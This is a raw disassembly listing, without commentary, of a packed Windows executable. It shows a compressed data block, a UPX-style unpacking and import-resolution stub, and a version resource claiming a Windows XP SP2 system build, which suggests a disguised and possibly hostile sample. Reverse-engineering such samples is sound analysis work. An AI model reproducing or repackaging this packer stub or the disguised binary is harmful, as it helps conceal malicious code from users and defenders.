		dd 1E8327E4h, 9A43F9A4h, 402BC102h, 0C1878A4Dh,	41BCA402h
		dd 8912FF40h, 77FFFFFFh, 5E393B36h, 722882AFh, 993E6F0h
		dd 46820FF8h, 5C72CDFDh, 2C5C4130h, 5B5CF5EBh, 0FFFFF12Bh
		dd 265058C9h, 0F6EB8516h, 10023190h, 8C8AE904h,	19570A7h
		dd 0ADFFC768h, 8CCC7FFFh, 8D0130CAh, 9BF408C9h,	0C01BB6BCh
		dd 1A42206h, 0D2522B31h, 0F85F011Ch, 0C95C42FFh, 1309C4BFh
		dd 218AE82h, 4B66813Eh,	360619A1h, 0FFFFFFFFh, 0EBB99949h
		dd 0AFC31C6Dh, 91C00A0Ah, 14A080Fh, 0D6F409E8h,	98D05138h
		dd 0F314B700h, 6F4AE8AAh, 0B605FFFFh, 385335EBh, 5597B828h
		dd 815D10E8h, 9212D8EDh, 0DCCB58Dh, 0FB7FFFFAh,	0F49468Bh
		dd 4C0770Fh, 56DEF02Bh,	801DB1B0h, 31C768Bh, 0C4BD8DF2h
		dd 0FFFFFF30h, 34042C97h, 0F801487Bh, 7401DC6Dh, 44738B15h
		dd 0B90EF685h, 7B3E7923h, 3BF3C840h, 0FFFFFFFFh, 0A4F3FAEAh
		dd 8F8CB450h, 2F018E4Bh, 1705B46Fh, 530D2C51h, 0E34BE82Ah
		dd 858B0190h, 0C7B029B0h, 0FE05FFFFh, 7271018h,	374B01B6h
		dd 324C62Ch, 708D89CCh,	35FC4E22h, 51D7406Ah, 0E0D0BFFFh
		dd 259AC5D6h, 25BC850Eh, 9832E6DBh, 0B22C1BC4h,	6E051308h
		dd 7238F8D5h, 5C302894h, 0CF43433Ah, 0FFE05FFFh, 0C985344Eh
		dd 3D9A625Bh, 9D033C62h, 0A36B0D3Ah, 74B5C402h,	6F958B7Bh
		dd 0FFFFFFF8h, 738DD819h, 3012440Dh, 0A2C40C88h, 0F72DEBD2h
		dd 748057C1h, 0E181521Eh, 0C260CC44h, 0FFFFFF4Bh, 91852517h
		dd 0CC0E5031h, 160EFF1Ch, 0E495284Eh, 0A0551D26h, 856D0341h
		dd 5C3F522Ch, 0FEB7FFFFh, 66A0D96h, 914421Ah, 95BC1C4Ah
		dd 9C0815E0h, 84888035h, 0DE431CA2h, 5FF7535h, 0C43FFFEh
		dd 0FC7E0260h, 3F1404Bh, 0E906C6F7h, 230428C5h,	4689E624h
		dd 4BFD3501h, 57BCFFFDh, 48242E8h, 0D624D64Fh, 0C7031328h
		dd 45DA49E6h, 0BCB5870Ch, 6F0B5BFFh, 51092766h,	5BEB5DC3h
		dd 0B8FCC4DDh, 819001E8h, 0FFFFFFFFh, 0EB815B08h, 75C9148Fh
		dd 51CB030Eh, 850E93FFh, 0F6A72248h, 0D3470456h, 498EC1FBh
		dd 7402AFFBh, 0C4BFFFFFh, 0D5085216h, 75B1C3AFh, 0ABC844FCh
		dd 3AB0CDCh, 4C2835Ah, 0ACC6E4EBh, 0FFFFF5BFh, 0AFC57506h
		dd 0E1991EC9h, 0F85A2A45h, 80479C7Dh, 3E92435Fh, 5974C3DFh
		dd 0FFFF3877h, 52E9FFFFh, 3C76F303h, 2BD3C8B0h,	0ADF84AD8h
		dd 0F8EB6881h, 83C873DAh, 250E08E9h, 0ED4D21E4h, 556FC766h
		dd 6645FFFEh, 0CF161BFBh, 41066ADh, 0FB7DA3D8h,	0D81E603h
		dd 44BFFF3Fh, 0E77F49FBh, 6C768A0Fh, 0CDC9D83Ah, 7019BFFh
		dd 71F22948h, 0FFFFC049h, 76B72A0Bh, 4A1F3F73h,	0DC66C120h
		dd 28278153h, 3075B0Ch,	0C2FFFF5Bh, 23F407BFh, 9FF2190Ch
		dd 0E8FAAF82h, 23C4351Ch, 3C15E354h, 9302C448h,	0F855A3C9h
		dd 743C48FFh, 2EFE070Ah, 0AE00B10h, 0F7C2EB50h,	0FFFFEAAAh
		dd 1046B77Fh, 7D75A8A9h, 0EE8A4C90h, 0F1747708h, 78AB5831h
		dd 40FC4A6Ch, 4B12125Eh, 80AA5FFCh, 0F8F4403Ch,	347DCF3Bh
		dd 77B69B06h, 817FFFFFh, 0B2E82C24h, 480FA063h,	8AC8FE74h
		dd 2A1C75D7h, 890DD038h, 0B49CC26h, 1DC1BFFCh, 0C4866A08h
		dd 9801060Eh, 0BB0CE7EBh, 0FFEBE7CEh, 0C8EB7FFFh, 5E7B06EAh
		dd 9246BC59h, 302A3B35h, 0B1422998h, 0F167EA6h,	8A0188E9h
		dd 7FF6811Ah, 0EB9DBAE3h, 5C378E4Eh, 2EC83C2h, 69081866h
		dd 0FFFF4B4Dh, 0FE16527Fh, 491C8E59h, 0B04D5691h, 0DFD6572Fh
		dd 1FDFBEE5h, 0EC16C8A1h, 0FF817FE5h, 4EBCA6FFh, 0ED43CDDEh
		dd 2618B294h, 0E04D7443h, 4B511C73h, 3EDF808h, 7FFFFF0Bh
		dd 247718Bh, 831DA5F3h,	434828E1h, 47BFF91h, 6FA4FA16h
		dd 1B3619D1h, 0F02FFB42h, 0CAAB7CFFh, 60CE5AAAh, 563D323Bh
		dd 0A6329040h, 0A2A275C3h, 6F4ED140h, 6A7FC6FDh, 479A9C17h
		dd 0F91B948h, 5251F00Eh, 5317AC56h, 6FADFFA8h, 89D6C8FFh
		dd 0EC7DBFBBh, 161A8995h, 3618486Eh, 2F9921B2h,	0FF205E13h
		dd 7CFFFFFFh, 164F6004h, 0E8CA9383h, 0F40E4806h, 6F084952h
		dd 54A922C4h, 708B8D0Fh, 30711E51h, 8106D971h, 0ECE97FFFh
		dd 41EE12D3h, 0B592DDD4h, 15291246h, 9FFB6EC2h,	2D4B8F36h
		dd 0CA7D0BFEh, 1E8C285Ah, 3BFA901Bh, 0F90E967Dh, 0FFFFFE9Fh
		dd 0C589DAFFh, 0C740F327h, 0CDF73005h, 0E02D35CDh, 0E38F392Bh
		dd 5E499C52h, 3916AED2h, 8400BDAh, 0B7F4BFFFh, 4A652AEAh
		dd 510E402Dh, 32960924h, 0C05DF1D7h, 1D437339h,	0FFFE3784h
		dd 6F49AF2h, 1EA60874h,	843E85Fh, 1240C26h, 0D97E833Dh
		dd 0FFF521FFh, 507BF42Fh, 180F5157h, 77E140B5h,	48599053h
		dd 96E915C6h, 8DFFE740h, 62A2A37Fh, 8252D91Bh, 0BE198588h
		dd 0C2D88389h, 12967310h, 0C4BFFFFFh, 8B340871h, 0F232A093h
		dd 0E6993F25h, 0A1B4BAD2h, 719261CDh, 4EEB4E67h, 0FFFFF0BFh
		dd 20E9725Ch, 0E5982424h, 7A7D5C6h, 0D2851455h,	0DE1D602h
		dd 0F22A83AFh, 0FFFE44C7h, 8460FFFFh, 85A2912Ch, 0A9555240h
		dd 5250922h, 20B4E05Fh,	220EEB6Ah, 838C4103h, 0B0E39587h
		dd 37FFFF51h, 0A322A220h, 695AB854h, 3449C29Dh,	5B0224A1h
		dd 9EB0EBC4h, 0FFFFFFFCh, 0DACD7915h, 0B5FC8DA4h, 3A5ED601h
		dd 2B3033F3h, 0E0C889F1h, 0D075C57Dh, 4D3B1C19h, 0FFF8FC0Ch
		dd 365A1BFFh, 2093A515h, 2138FC74h, 8AF8290h, 40681AB0h
		dd 1448B53Ch, 0F02FFF48h, 8D166E17h, 0FC03017Ch, 105002C5h
		dd 0C173A881h, 27478AACh, 0FFFFFFD6h, 8D05E9A8h, 2C746822h
		dd 0DA201288h, 0D2317521h, 0E5EB22Eh, 3510CA8Ah, 0B4A52212h
		dd 0CE37FC4h, 90A7AE25h, 1E7041C8h, 69CF7407h, 54BD1BFFh
		dd 206E6F9Eh, 0F81E3D84h, 1F6854DCh, 0FFE0F1FFh, 7033FFFFh
		dd 75646312h, 0F9732514h, 6C7D7CF2h, 0E5D9F5BDh, 2062746Eh
		dd 7DDBFB77h, 0D4BFA35Bh, 315EB45Fh, 53C71CABh,	352E47B4h
		dd 9B2C6478h, 7F451BE1h, 0BBD2BC3Eh, 0A7BD3320h, 4EEC3382h
		dd 78DEDEA5h, 0C3747075h, 6CFBA1EFh, 0C2574B4Dh, 0A37EA5FDh
		dd 3C9ED794h, 0A74D0EDEh, 0C383DD18h, 0FFFF6F42h, 776D4BFFh
		dd 6674949Dh, 0CA991332h, 80C62114h, 73E89C09h,	0E009D4h
		dd 419A5CEEh, 6EADFFAh,	4D6978FAh, 0A4DC1460h, 8A4384CEh
		dd 6FA97FA0h, 5E2BD32Ah, 0A8F2DC0Fh, 0CF542918h, 0FF02471Fh
		dd 0EEAC1BFFh, 681E1C6Ch, 0F54192F7h, 8663B841h, 49B80EE2h
		dd 0AB7FD460h, 7281E288h, 33224424h, 0FFE060DBh, 0E7A70BFFh
		dd 4236094Eh, 170AD65Fh, 5F016E89h, 354A485h, 0A8E0259Bh
		dd 14394B8Dh, 28B60B4h,	0DBFDDF24h, 0FC28E0A5h,	0A4D23329h
		dd 6DE802B3h, 33F67317h, 0B7EEE8C9h, 864BFE7h, 0E8C0331Ch
		dd 411A235Bh, 4FE810B0h
		dd 0EEED9B0Bh, 73C012FFh, 0AA3F75F7h, 4EE8D4EBh, 75CB2B0Dh
		dd 28EB4316h, 0F8B7FF77h, 74E8D1ACh, 1CEBA24Eh,	0E0C14891h
		dd 2DE8AC08h, 7D003D15h, 77FEDFA9h, 0FC800A3Dh,	83067305h
		dd 45777FF8h, 0C58B9541h, 17FFF1B3h, 0F78B7068h, 0EB5EF825h
		dd 75D2038Eh, 92AD9206h, 6EDE015Ah, 75C34206h, 7CEDE841h
		dd 77BADE43h, 72068EA5h, 9A2BC3F2h, 611C0389h, 76E697C2h
		dd 0D2C87C03h, 712B803h, 8C0DE47h, 0D0682EE0h, 6B10A3C2h
		dd 4B74BDB1h, 0CD1FB864h, 268A8D04h, 7C405FF0h,	1418910h
		dd 0C60C52B4h, 5ADFE902h, 91292817h, 0CF0189CAh, 5678B8C3h
		dd 0FBC404BFh, 8F641234h, 55C93705h, 56575153h,	0FB60DAB4h
		dd 0D5988D52h, 0D58B3211h, 4DA84952h, 685C1B15h, 2B73FF2Eh
		dd 0C0ADFFC4h, 3104B8Bh, 0FF018BCAh, 1BFF5AD0h,	7D0A22ADh
		dd 20438B33h, 0E6C0A1Fh, 204BDB26h, 25E31C09h, 0DBAB690Ch
		dd 50108DB6h, 43D1FF49h, 97134F03h, 2C2D5AD8h, 83FC10F0h
		dd 76EDB90Dh, 85689F7h,	244E8947h, 6511405h, 737B2E28h
		dd 1405BC1Bh, 0C8BBD7FFh, 5A5927A7h, 0B56F3FEBh, 5568A099h
		dd 8B8F5771h, 0B1AC5AC6h, 591606D4h, 1FFC9h, 298AA47Fh
		dd 32A5D2D0h, 3F193F0Ch, 15490142h, 0A02B89Dh, 0C0C88F12h
		dd 522013AAh, 43FFE201h, 174D556h, 746C754Dh, 74794269h
		dd 0F550BB6Ah, 576F5465h, 266843BAh, 2BFD8800h,	5301E3A9h
		dd 7065656Ch, 3550CE19h, 4FCD7703h, 55586FF5h, 65541A9Eh
		dd 0D556706Dh, 0D0851CCh, 15553BCAh, 13334822h,	0D55642AAh
		dd 5001AADEh, 6157AB2h,	0DBB6C340h, 0DA0DA26Fh,	156C0DF6h
		dd 6F8A52C6h, 7D96DB97h, 698E90D7h, 666F657Ah, 1D6E650Fh
		dd 259E5B5Ah, 45614C57h, 10403CC3h, 0D50216A0h,	0C16DAF3Dh
		dd 0EED1220Ch, 86550B6Bh, 76B5001h, 0D00354CBh,	3F64AABDh
		dd 8655AD41h, 1B23B164h, 1BC00804h, 38118B59h, 80135558h
		dd 0C05B9A79h, 83CB5AAAh, 86FF6FE2h, 86FF9C30h,	9FAFF11h
		dd 6302D0FFh, 0EDB7FF16h, 0F52FFDBh, 0FF0441FFh, 5CFF144Fh
		dd 0FF0D120Eh, 2B608B4h, 0B6DF0AA5h, 0EFFFDBE5h, 0FF125A17h
		dd 5202A9BBh, 0FF0BA626h, 5DB6DB4Bh, 0FF780CAAh, 8403B71h
		dd 65A902BEh, 116DB2FBh, 0F6A00509h, 2F7FF0Eh, 0D96DB7F1h
		dd 0F00E07B6h, 23480E35h, 2310E9Ah, 0FB7CBEDFh,	0FF0339FFh
		dd 106B022Fh, 628B2FFh,	626890FFh, 7C42FF01h, 506FB6DBh
		dd 99FF07BBh, 1D0EDF1Dh, 0FF021923h, 0DBE5B621h, 1C0517B6h
		dd 0FF106A0Bh, 20025A9Ch, 596D4016h, 0FE50BB5Ch, 0C366D556h
		dd 1503EECh, 7C9D635Fh,	663BA000h, 0E7650B70h, 0D6FF685Fh
		dd 72CA23BAh, 0E65F1133h, 7070610Fh, 7079745Fh,	9DBA80E6h
		dd 665F0965h, 1200B7Eh,	6D3D6EB3h, 0D8E60C0Dh, 0E376CDAh
		dd 5396D43h, 0DC17B9F2h, 69CC1172h, 1C107474h, 0A377ED67h
		dd 731018B5h, 63397367h, 0BB686E6Dh, 7DB70CD6h,	63580E21h
		dd 337BDF82h, 13916700h, 677B6D4Dh, 6362DDDBh, 736377A2h
		dd 61077906h, 6B0BD19h,	5F225830h, 743B0CF6h, 0AEC5C686h
		dd 7A66306h, 52DDB9FEh,	73056D0Ch, 4328D672h, 1467878h
		dd 0BD8CDEDh, 8B65B16Dh, 7B404F0Dh, 0F7FD2F06h,	220B81Ah
		dd 70523F00h, 1281963h,	0F7152E0Dh, 119B4755h, 123ED66Ch
		dd 1A2F270Eh, 266BC00h,	23A33C8h, 0F7000E00h, 8A50AE98h
		dd 5611730Dh, 0A826218h, 0E7490002h, 33407C80h,	7FBB0002h
		dd 2736010Fh, 8C289647h, 4040284Eh, 39009600h, 8400D042h
		dd 341ECDF8h, 0D8526230h, 442E238Ah, 0D44B02B0h, 9C9C9501h
		dd 2826444Ah, 0A824B62Fh, 4AFB9B33h, 0AC7C1109h, 0F000232Ch
		dd 0CC0D8249h, 0C3h, 0
		dd 0FF480000h, 2 dup(0)
; ---------------------------------------------------------------------------
		pusha
		mov	esi, offset dword_406000
		lea	edi, [esi-5000h]
		push	edi
		or	ebp, 0FFFFFFFFh
		jmp	short loc_40E152
; ---------------------------------------------------------------------------
		align 8


loc_40E148:				; CODE XREF: _1:loc_40E159j
		mov	al, [esi]
		inc	esi
		mov	[edi], al
		inc	edi


loc_40E14E:				; CODE XREF: _1:0040E1E6j _1:0040E1FDj
		add	ebx, ebx
		jnz	short loc_40E159


loc_40E152:				; CODE XREF: _1:0040E140j
		mov	ebx, [esi]
		sub	esi, 0FFFFFFFCh
		adc	ebx, ebx


loc_40E159:				; CODE XREF: _1:0040E150j
		jb	short loc_40E148
		mov	eax, 1


loc_40E160:				; CODE XREF: _1:0040E16Fj _1:0040E17Aj
		add	ebx, ebx
		jnz	short loc_40E16B
		mov	ebx, [esi]
		sub	esi, 0FFFFFFFCh
		adc	ebx, ebx


loc_40E16B:				; CODE XREF: _1:0040E162j
		adc	eax, eax
		add	ebx, ebx
		jnb	short loc_40E160
		jnz	short loc_40E17C
		mov	ebx, [esi]
		sub	esi, 0FFFFFFFCh
		adc	ebx, ebx
		jnb	short loc_40E160


loc_40E17C:				; CODE XREF: _1:0040E171j
		xor	ecx, ecx
		sub	eax, 3
		jb	short loc_40E190
		shl	eax, 8
		mov	al, [esi]
		inc	esi
		xor	eax, 0FFFFFFFFh
		jz	short loc_40E202
		mov	ebp, eax


loc_40E190:				; CODE XREF: _1:0040E181j
		add	ebx, ebx
		jnz	short loc_40E19B
		mov	ebx, [esi]
		sub	esi, 0FFFFFFFCh
		adc	ebx, ebx


loc_40E19B:				; CODE XREF: _1:0040E192j
		adc	ecx, ecx
		add	ebx, ebx
		jnz	short loc_40E1A8
		mov	ebx, [esi]
		sub	esi, 0FFFFFFFCh
		adc	ebx, ebx


loc_40E1A8:				; CODE XREF: _1:0040E19Fj
		adc	ecx, ecx
		jnz	short loc_40E1CC
		inc	ecx


loc_40E1AD:				; CODE XREF: _1:0040E1BCj _1:0040E1C7j
		add	ebx, ebx
		jnz	short loc_40E1B8
		mov	ebx, [esi]
		sub	esi, 0FFFFFFFCh
		adc	ebx, ebx


loc_40E1B8:				; CODE XREF: _1:0040E1AFj
		adc	ecx, ecx
		add	ebx, ebx
		jnb	short loc_40E1AD
		jnz	short loc_40E1C9
		mov	ebx, [esi]
		sub	esi, 0FFFFFFFCh
		adc	ebx, ebx
		jnb	short loc_40E1AD


loc_40E1C9:				; CODE XREF: _1:0040E1BEj
		add	ecx, 2


loc_40E1CC:				; CODE XREF: _1:0040E1AAj
		cmp	ebp, 0FFFFF300h
		adc	ecx, 1
		lea	edx, [edi+ebp]
		cmp	ebp, 0FFFFFFFCh
		jbe	short loc_40E1EC


loc_40E1DD:				; CODE XREF: _1:0040E1E4j
		mov	al, [edx]
		inc	edx
		mov	[edi], al
		inc	edi
		dec	ecx
		jnz	short loc_40E1DD
		jmp	loc_40E14E
; ---------------------------------------------------------------------------
		align 4


loc_40E1EC:				; CODE XREF: _1:0040E1DBj _1:0040E1F9j
		mov	eax, [edx]
		add	edx, 4
		mov	[edi], eax
		add	edi, 4
		sub	ecx, 4
		ja	short loc_40E1EC
		add	edi, ecx
		jmp	loc_40E14E
; ---------------------------------------------------------------------------


loc_40E202:				; CODE XREF: _1:0040E18Cj
		pop	esi
		mov	edi, esi
		mov	ecx, 0CCh


loc_40E20A:				; CODE XREF: _1:0040E211j _1:0040E216j
		mov	al, [edi]
		inc	edi
		sub	al, 0E8h


loc_40E20F:				; CODE XREF: _1:0040E234j
		cmp	al, 1
		ja	short loc_40E20A
		cmp	byte ptr [edi],	1
		jnz	short loc_40E20A
		mov	eax, [edi]
		mov	bl, [edi+4]
		shr	ax, 8
		rol	eax, 10h
		xchg	al, ah
		sub	eax, edi
		sub	bl, 0E8h
		add	eax, esi
		mov	[edi], eax
		add	edi, 5
		mov	al, bl
		loop	loc_40E20F
		lea	edi, [esi+0C000h]


loc_40E23C:				; CODE XREF: _1:0040E25Ej
		mov	eax, [edi]
		or	eax, eax
		jz	short loc_40E287
		mov	ebx, [edi+4]
		lea	eax, [eax+esi+0E8E8h]
		add	ebx, esi
		push	eax
		add	edi, 8
		call	dword ptr [esi+0E974h]
		xchg	eax, ebp


loc_40E259:				; CODE XREF: _1:0040E27Fj
		mov	al, [edi]
		inc	edi
		or	al, al
		jz	short loc_40E23C
		mov	ecx, edi
		jns	short near ptr loc_40E26A+1
		movzx	eax, word ptr [edi]
		inc	edi
		push	eax
		inc	edi


loc_40E26A:				; CODE XREF: _1:0040E262j
		mov	ecx, 0AEF24857h
		push	ebp
		call	dword ptr [esi+0E978h]
		or	eax, eax
		jz	short loc_40E281
		mov	[ebx], eax
		add	ebx, 4
		jmp	short loc_40E259
; ---------------------------------------------------------------------------


loc_40E281:				; CODE XREF: _1:0040E278j
		call	dword ptr [esi+0E980h]


loc_40E287:				; CODE XREF: _1:0040E240j
		mov	ebp, [esi+0E97Ch]
		lea	edi, [esi-1000h]
		mov	ebx, 1000h
		push	eax
		push	esp
		push	4
		push	ebx
		push	edi
		call	ebp
		lea	eax, [edi+20Fh]
		and	byte ptr [eax],	7Fh
		and	byte ptr [eax+28h], 7Fh
		pop	eax
		push	eax
		push	esp
		push	eax
		push	ebx
		push	edi
		call	ebp
		pop	eax
		popa
		lea	eax, [esp-80h]


loc_40E2BB:				; CODE XREF: _1:0040E2BFj
		push	0
		cmp	esp, eax
		jnz	short loc_40E2BB
		sub	esp, 0FFFFFF80h
		jmp	loc_40284E
; ---------------------------------------------------------------------------
		align 4
		dd 8 dup(0)
		dd 0E130BF00h, 0F78B0040h, 69B9h, 0F4378000h, 0E201C783h
		dd 0E6FFF8h, 33Fh dup(0)
_1		ends

; Section 3. (virtual address 0000F000)
; Virtual size			: 00001000 (   4096.)
; Section size in file		: 00001000 (   4096.)
; Offset to raw	data for section: 0000F000
; Flags	E0000040: Data Executable Readable Writable
; Alignment	: default
; ===========================================================================

; Segment type:	Pure code
; Segment permissions: Read/Write/Execute
_2		segment	para public 'CODE' use32
		assume cs:_2
		;org 40F000h
		assume es:nothing, ss:nothing, ds:_0, fs:nothing, gs:nothing
		dd 3 dup(0)
		dd 30001h, 80000190h, 80000030h, 3, 800000A0h, 0Eh, 80000110h
		dd 10h,	80000150h, 3 dup(0)
		dd 20000h, 81h,	80000050h, 83h,	80000078h, 3 dup(0)
		dd 10000h, 0
		dd 68h,	4198h, 2200h, 5	dup(0)
		dd 10000h, 419h, 90h, 6398h, 6000h, 5 dup(0)
		dd 20000h, 1, 800000C0h, 2, 800000E8h, 3 dup(0)
		dd 10000h, 419h, 0D8h, 0F19Ch, 2E8h, 5 dup(0)
		dd 10000h, 419h, 100h, 0F488h, 128h, 5 dup(0)
		dd 10000h, 80h,	80000128h, 3 dup(0)
		dd 10000h, 419h, 140h, 0F5B4h, 22h, 5 dup(0)
		dd 10000h, 1, 80000168h, 3 dup(0)
		dd 10000h, 409h, 180h, 0F5DCh, 30Ch, 2 dup(0)
		dd 440003h, 4C004Ch, 0C398h, 28h, 20h, 40h, 40001h, 0
		dd 280h, 5 dup(0)
		dd 800000h, 8000h, 808000h, 80h, 800080h, 8080h, 0C0C0C0h
		dd 808080h, 0FF0000h, 0FF00h, 0FFFF00h,	0FFh, 0FF00FFh
		dd 0FFFFh, 0FFFFFFh, 8 dup(0)
		dd 3 dup(88888888h), 80888888h,	77777787h, 2 dup(77777777h)
		dd 80777777h, 0FFFF8F87h, 2 dup(0FFFFFFFFh), 80F7FFFFh
		dd 0FFFF8F87h, 2 dup(0FFFFFFFFh), 80F7FFFFh, 0FFFF8F87h
		dd 2 dup(0FFFFFFFFh), 80F7FFFFh, 0FFFF8F87h, 2 dup(0FFFFFFFFh)
		dd 80F7FFFFh, 0FFFF8F87h, 2 dup(0FFFFFFFFh), 80F7FFFFh
		dd 0FFFF8F87h, 2 dup(0FFFFFFFFh), 80F7FFFFh, 0FFFF8F87h
		dd 2 dup(0FFFFFFFFh), 80F7FFFFh, 0FFFF8F87h, 2 dup(0FFFFFFFFh)
		dd 80F7FFFFh, 0FFFF8F87h, 2 dup(0FFFFFFFFh), 80F7FFFFh
		dd 0FFFF8F87h, 2 dup(0FFFFFFFFh), 80F7FFFFh, 0FFFF8F87h
		dd 2 dup(0FFFFFFFFh), 80F7FFFFh, 0FFFF8F87h, 2 dup(0FFFFFFFFh)
		dd 80F7FFFFh, 0FFFF8F87h, 2 dup(0FFFFFFFFh), 80F7FFFFh
		dd 0FFFF8F87h, 2 dup(0FFFFFFFFh), 80F7FFFFh, 0FFFF8F87h
		dd 2 dup(0FFFFFFFFh), 80F7FFFFh, 0FFFF8F87h, 2 dup(0FFFFFFFFh)
		dd 80F7FFFFh, 0FFFF8F87h, 2 dup(0FFFFFFFFh), 80F7FFFFh
		dd 0FFFF8F87h, 2 dup(0FFFFFFFFh), 80F7FFFFh, 88888887h
		dd 2 dup(88888888h), 80878888h,	77777787h, 2 dup(77777777h)
		dd 80777777h, 44444487h, 44444444h, 404444h, 80000000h
		dd 44444487h, 44444444h, 70474444h, 80700777h, 44444487h
		dd 44444444h, 70474444h, 80700777h, 44444487h, 2 dup(44444444h)
		dd 80444444h, 77777787h, 2 dup(77777777h), 80777777h, 3	dup(88888888h)
		dd 80888888h, 8	dup(0)
		dd 0FFFFFFFFh, 1Dh dup(0)
		dd 2 dup(0FFFFFFFFh), 0C680h, 28h, 10h,	20h, 40001h, 0
		dd 80h,	5 dup(0)
		dd 800000h, 8000h, 808000h, 80h, 800080h, 8080h, 0C0C0C0h
		dd 808080h, 0FF0000h, 0FF00h, 0FFFF00h,	0FFh, 0FF00FFh
		dd 0FFFFh, 0FFFFFFh, 2 dup(0FF0000FFh),	0
		dd 0E00Eh, 2 dup(0E0h),	0E0EEh,	0E0h, 2	dup(0EE0h), 2 dup(0F0EFEEh)
		dd 0F0FFFFEFh, 0F0FFFF0Fh, 0EF00FC0h, 0CF00F00h, 0E00C0CCh
		dd 0CC0C0000h, 0EE0CCCCh, 0C4CC0000h, 0EEE0CCCCh, 4CCC0000h
		dd 0EEECCC4h, 0CCC40000h, 0FE0444Ch, 0C4CC00F0h, 0FF0F4444h
		dd 4444F0FFh, 0F404444h, 444404F0h, 40444444h, 44444404h
		dd 10h dup(0)
		dd 0C7A8h, 10000h, 20200002h, 10010h, 2E80004h,	10000h
		dd 101010h, 40001h, 128h, 2, 0C7CCh, 34030Ch, 560000h
		dd 5F0053h, 450056h, 530052h, 4F0049h, 5F004Eh,	4E0049h
		dd 4F0046h, 0
		dd 0FEEF04BDh, 10000h, 50001h, 0A280884h, 50001h, 0A280884h
		dd 3Fh,	0
		dd 4, 1, 3 dup(0)
		dd 26Ch, 530001h, 720074h, 6E0069h, 460067h, 6C0069h, 490065h
		dd 66006Eh, 6Fh, 248h, 300001h,	300034h, 300039h, 620034h
		dd 30h,	18h, 430001h, 6D006Fh, 65006Dh,	74006Eh, 73h, 20h
		dd 430001h, 6D006Fh, 610070h, 79006Eh, 61004Eh,	65006Dh
		dd 0
		dd 28h,	460001h, 6C0069h, 440065h, 730065h, 720063h, 700069h
		dd 690074h, 6E006Fh, 0
		dd 0E003Ch, 460001h, 6C0069h, 560065h, 720065h,	690073h
		dd 6E006Fh, 0
a5_1_2600_2180:
		unicode	0, <5.1.2600.2180>,0
		unicode	0, < >,0
		dd 490001h, 74006Eh, 720065h, 61006Eh, 4E006Ch,	6D0061h
		dd 65h,	13004Ah, 4C0001h, 670065h, 6C0061h, 6F0043h, 790070h
		dd 690072h, 680067h, 74h, 6F0043h, 790070h, 690072h, 680067h
		dd 200074h, 430028h, 200029h, 300032h, 370030h,	0
		dd 28h,	4C0001h, 670065h, 6C0061h, 720054h, 640061h, 6D0065h
		dd 720061h, 73006Bh, 0
		dd 28h,	4F0001h, 690072h, 690067h, 61006Eh, 46006Ch, 6C0069h
		dd 6E0065h, 6D0061h, 65h, 20h, 500001h,	690072h, 610076h
		dd 650074h, 750042h, 6C0069h, 64h, 20h,	500001h, 6F0072h
		dd 750064h, 740063h, 61004Eh, 65006Dh, 0
		dd 290076h, 500001h, 6F0072h, 750064h, 740063h,	650056h
		dd 730072h, 6F0069h, 6Eh, 2E0035h, 2E0031h, 360032h, 300030h
		dd 32002Eh, 380031h, 200030h, 780028h, 730070h,	5F0070h
		dd 700073h, 5F0032h, 740072h, 2E006Dh, 340030h,	380030h
		dd 330030h, 32002Dh, 350031h, 290038h, 0
		dd 20h,	530001h, 650070h, 690063h, 6C0061h, 750042h, 6C0069h
		dd 64h,	44h, 560001h, 720061h, 690046h,	65006Ch, 6E0049h
		dd 6F0066h, 0
		dd 40024h, 540000h, 610072h, 73006Eh, 61006Ch, 690074h
		dd 6E006Fh, 0
		dd 4B00409h, 0
		dd 0FFFFFFFEh, 0
		dd 0F9B0h, 0F974h, 0
		dd 0FFFFFFFEh, 0
		dd 0F9BDh, 0F988h, 0
		dd 0FFFFFFFEh, 0
; ---------------------------------------------------------------------------
		retf	0F9h
; ---------------------------------------------------------------------------
		align 10h
		db 90h
		db 0F9h, 2 dup(0)
		align 8
		dd 0FFFFFFFEh, 0
		dd 0F9D4h, 0F998h, 0
		dd 0FFFFFFFEh, 0
		dd 0F9DFh, 0F9A0h, 0
		dd 0FFFFFFFEh, 0
		dd 0F9EAh, 0F9A8h, 5 dup(0)
		dd offset sub_41E15D
		dd offset sub_41E33E
		dd 77E6169Ah, 41D6FEh, 0
		dd 77DD189Ah, 0
		dd 73E3A49Dh, 0
		dd 77C37ADCh, 0
		dd 77CC7CB6h, 0
		dd 71AB6738h, 0
		dd 4E52454Bh, 32334C45h, 4C4C442Eh, 56444100h, 33495041h
		dd 6C642E32h, 464D006Ch, 2E323443h, 4C4C44h, 4356534Dh
		dd 642E5452h, 52006C6Ch, 54524350h, 6C642E34h, 5357006Ch
		dd 32335F32h, 6C6C642Eh, 6F4C0000h, 694C6461h, 72617262h
		dd 4179h, 50746547h, 41636F72h,	65726464h, 7373h, 74726956h
		dd 506C6175h, 65746F72h, 7463h,	74697845h, 636F7250h, 737365h
		dd 65520000h, 6F6C4367h, 654B6573h, 79h, 74697865h, 75550000h
		dd 72436469h, 65746165h, 53570000h, 756E4543h, 6F72506Dh
		dd 6F636F74h, 736Ch, 167h dup(0)
_2		ends

; Section 4. (virtual address 00010000)
; Virtual size			: 00010D8F (  69007.)
; Section size in file		: 00010D8F (  69007.)
; Offset to raw	data for section: 00010000
; Flags	E0000040: Data Executable Readable Writable
; Alignment	: default
; ===========================================================================

; Segment type:	Pure code
; Segment permissions: Read/Write/Execute
_3		segment	para public 'CODE' use32
		assume cs:_3
		;org 410000h
		assume es:nothing, ss:nothing, ds:_0, fs:nothing, gs:nothing

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_410000	proc near		; CODE XREF: sub_41365E+84p
					; sub_41396C+333p ...

var_1C		= dword	ptr -1Ch
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_4212D8
		push	offset sub_4104E0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 0Ch
		push	ebx
		push	esi
		push	edi
		mov	esi, ecx
		mov	[ebp+var_1C], esi
		lea	eax, [esi+10h]
		push	eax
		call	ds:dword_42101C	; RtlEnterCriticalSection
		and	[ebp+var_4], 0
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		mov	ecx, esi
		call	sub_41EC69
		or	[ebp+var_4], 0FFFFFFFFh
		call	sub_410060


loc_41004C:				; DATA XREF: _0:off_401240o
					; _0:off_401264o
		mov	ecx, [ebp+var_10]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		leave
